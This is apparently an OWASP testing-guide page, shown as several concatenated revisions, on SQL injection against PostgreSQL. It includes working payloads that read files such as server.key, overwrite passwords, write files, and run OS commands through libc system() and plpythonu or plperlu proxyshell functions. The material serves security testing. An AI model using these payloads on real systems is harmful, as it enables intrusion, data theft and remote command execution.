DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

* OWASP : "[[Testing for SQL Injection]]"

* Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

* PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-10-21T01:15:42Z

Carlo.pelliccioni: /* Tools */

= Overview =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifing PostgreSQL ==

When an SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number n
* ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "[[Testing for SQL Injection]]"

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-10-21T01:14:40Z

Carlo.pelliccioni: /* Black Box testing and example */

= Overview =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Description =

== Identifing PostgreSQL ==

When an SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number n
* ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "[[Testing for SQL Injection]]"

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-10-21T01:12:55Z

Carlo.pelliccioni: /* Short Description of the Issue */

= Overview =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Black Box testing and example =

== Identifing PostgreSQL ==

When an SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number n
* ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--</nowiki>
<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--</nowiki>

=== Current Database ===

The built-in function current_database() returns the current database name.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--</nowiki>

=== Reading from a file ===

ProstgreSQL provides two ways to access a local file:
* COPY statement
* pg_read_file() internal function (starting from PostgreSQL 8.1)

'''COPY:'''

This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the ''postgres'' user.

'''Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
</nowiki>

Data should be retrieved by performing a ''UNION Query SQL Injection'':
* retrieves number of rows previously added in ''file_store'' with ''COPY'' statement
* retrieve a row at time with UNION SQL Injection

'''Example:'''
<nowiki>
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;--
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
...
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
</nowiki>

'''pg_read_file():'''

This function was introduced in ''PostgreSQL 8.1'' and allows one to read arbitrary files located inside
DBMS data directory.

'''Examples:'''

* <nowiki>SELECT pg_read_file('server.key',0,1000); </nowiki>

=== Writing to a file ===

By reverting the COPY statement, we can write to the local file system with the ''postgres'' user rights

<nowiki>
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
</nowiki>

=== Shell Injection ===

PostgreSQL provides a mechanism to add custom function,s by using both Dynamic Library and scripting
languages such as python, perl, and tcl.

==== Dynamic Library ====

Until PostgreSQL 8.1, it was possible to add a custom function linked with ''libc'':
* CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT

Since ''system'' returns an ''int'' how we can fetch results from ''system'' stdout?

Here's a little trick:

* create a ''stdout'' table
*: ''CREATE TABLE stdout(id serial, system_out text)''
* executing a shell command redirecting its ''stdout''
*: ''SELECT system('uname -a > /tmp/test')''
* use a ''COPY'' statements to push output of previous command in ''stdout'' table
*: ''COPY stdout(system_out) FROM '/tmp/test'''
* retrieve output from ''stdout''
*: ''SELECT system_out FROM stdout''

''' Example:'''

<nowiki>
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT --

/store.php?id=1; SELECT system('uname -a > /tmp/test') --

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--

</nowiki>

==== plpython ====

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by ''CREATELANG''

* Check if PL/Python has been enabled on some databsae:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
* If not, try to enable:
*: ''CREATE LANGUAGE plpythonu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- </nowiki>''

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

==== plperl ====

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with underlying operating system, such as ''open''. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the ''postgres'' user, to avoid the so called application mask filtering of trusted/untrusted operations.

* Check if PL/perl-untrusted has been enabled:
*: ''SELECT count(*) FROM pg_language WHERE lanname='plperlu'
* If not, assuming that sysadm has already installed the plperl package, try :
*: ''CREATE LANGUAGE plperlu''
* If all of the above succeeded, create a proxy shell function:
*: ''CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu''
* Have fun with:
*: SELECT proxyshell(''os command'');

'''Example:'''

*Create a proxy shell function:
*:''<nowiki>/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;</nowiki>

*Run an OS Command:
*:''<nowiki>/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--</nowiki>''

= References =

OWASP : "[[Testing for SQL Injection]]"

Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/

PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/

= Tools =

Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net

OWASP Backend Security Project Testing PostgreSQL

2008-10-21T01:09:49Z

Carlo.pelliccioni: /* Black Box testing and example */

= Short Description of the Issue =

In this paragraph, some SQL Injection techniques for PostgreSQL will be discussed.
Keep in mind the following peculiarities:

* PHP Connector allows multiple statements to be executed by using ''';''' as a statement separator
* SQL Statements can be truncated by appending the comment char: '''--'''.
* ''LIMIT'' and ''OFFSET'' can be used in a ''SELECT'' statement to retrieve a portion of the result set generated by the ''query''

From here after, we assume that ''<nowiki>http://www.example.com/news.php?id=1</nowiki>'' is vulnerable to SQL Injection attacks.

= Black Box testing and example =

== Identifing PostgreSQL ==

When an SQL Injection has been found, you need to carefully
fingerprint the backend database engine. You can determine that the backend database engine
is PostgreSQL by using the ''::'' cast operator.

'''Examples:'''
<nowiki>http://www.example.com/store.php?id=1 AND 1::int=1</nowiki>

The function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

'''Example''':

<nowiki>http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--</nowiki>
PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

== Blind Injection ==

For blind SQL injection attacks, you should take in consideration the following built-in functions:

* String Length
*: ''LENGTH(str)''
* Extract a substring from a given string
*: ''SUBSTR(str,index,offset)''
* String representation with no single quotes
*: ''CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)''

Starting from 8.2 PostgreSQL has introduced a built-in function, ''pg_sleep(n)'', to make the current
session process sleep for ''n'' seconds.

In previous version, you can easyly create a custom ''pg_sleep(n)'' by using libc:
* CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT

== Single Quote unescape ==

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

* chr(n): Returns the character whose ascii value corresponds to the number n
* ascii(n): Returns the ascii value corresponds to the character n

Let's say you want to encode the string 'root':
select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:
chr(114)||chr(111)||chr(111)||chr(116)

'''Example:'''
<nowiki>http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--</nowiki>

== Attack Vectors ==

=== Current User ===

The identity of the current user can be retrieved with the following SQL SELECT statements:

